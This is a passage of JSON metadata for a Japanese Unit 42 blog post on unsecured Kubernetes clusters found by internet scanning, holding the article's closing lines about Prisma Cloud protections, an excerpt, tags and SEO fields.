Protection\u306b\u3088\u3063\u3066\u3053\u306e\u8105\u5a01\u304b\u3089\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u306f\u3001\u4e0d\u5341\u5206\u306aKubernetes\u69cb\u6210\u3092\u8b66\u544a\u3057\u3001\u5b89\u5168\u306a\u4ee3\u66ff\u624b\u6bb5\u3092\u63d0\u4f9b\u3057\u307e\u3059\u3002Prisma Cloud Compute\u306e\u8106\u5f31\u6027\u30b9\u30ad\u30e3\u30ca\u304c\u3042\u308c\u3070\u3001\u30b3\u30f3\u30c6\u30ca\u5185\u306e\u30a2\u30d7\u30ea\u30b1\u30fc\u30b7\u30e7\u30f3\u306e\u8106\u5f31\u6027\u3084\u30db\u30b9\u30c8\u4e0a\u306e\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\/OS\u306e\u8106\u5f31\u6027\u306b\u3064\u3044\u3066\u8b66\u544a\u3092\u53d7\u3051\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002<\/p>\n<h4>\u8ffd\u52a0\u8cc7\u6599<\/h4>\n<p><a href=\"https:\/\/unit42.paloaltonetworks.com\/highlights-cloud-threat-report-1h-2021\/\">Highlights from the Unit 42 Cloud Threat Report, 1H 2021 \uff08\u300eUnit 42 \u30af\u30e9\u30a6\u30c9\u8105\u5a01\u30ec\u30dd\u30fc\u30c82021\u5e741H\u300f\u306e\u6ce8\u76ee\u30dd\u30a4\u30f3\u30c8\uff09<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6982\u8981 Unit 42\u306e\u30ea\u30b5\u30fc\u30c1\u30e3\u30fc\u306f2020\u5e7410\u6708\u304b\u30892021\u5e742\u6708\u307e\u3067\u30a4\u30f3\u30bf\u30fc\u30cd\u30c3\u30c8\u4e0a\u306e\u30bb\u30ad\u30e5\u30a2\u3067\u306f\u306a\u3044Kubernetes\uff08k8s\u3068\u3082\uff09\u30af\u30e9\u30b9\u30bf\u3092\u5b9a\u671f\u7684\u306b\u30b9\u30ad\u30e3\u30f3\u3057\u3066\u5206\u6790\u3057\u3066\u304d\u307e\u3057\u305f\u3002Kubernetes\u30af\u30e9\u30b9\u30bf\u306e<\/p>\n","protected":false},"author":316,"featured_media":134258,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false,"footnotes":""},"categories":[4326,4436,4428],"tags":[4627,5978,4789,5849],"product_categories":[4482,4483,4458],"coauthors":[1388,1455,1485],"class_list":["post-118655","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cloud-cybersecurity-research","category-cloud-cybersecurity-research-ja","category-threat-research-ja","tag-containers-ja","tag-docker","tag-kubernetes-ja","tag-public-cloud-ja","product_categories-network-security-cn-series","product_categories-network-security-cn-series-ja","product_categories-prisma-cloud-ja"],"yoast_head":"<!-- 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content=\"https:\/\/origin-unit42.paloaltonetworks.com\/ja\/unsecured-kubernetes-instances\/\" \/>\n<meta property=\"og:site_name\" content=\"Unit 42\" \/>\n<meta property=\"article:published_time\" content=\"2021-04-28T03:44:22+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2021-04-28T04:22:11+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/origin-unit42.paloaltonetworks.com\/wp-content\/uploads\/2024\/06\/12_Cloud_cybersecurity_research_Overview_1920x900.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"900\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Jay Chen, Aviv Sasson, Ariel Zelivansky\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<!-- \/ Yoast SEO Premium plugin. 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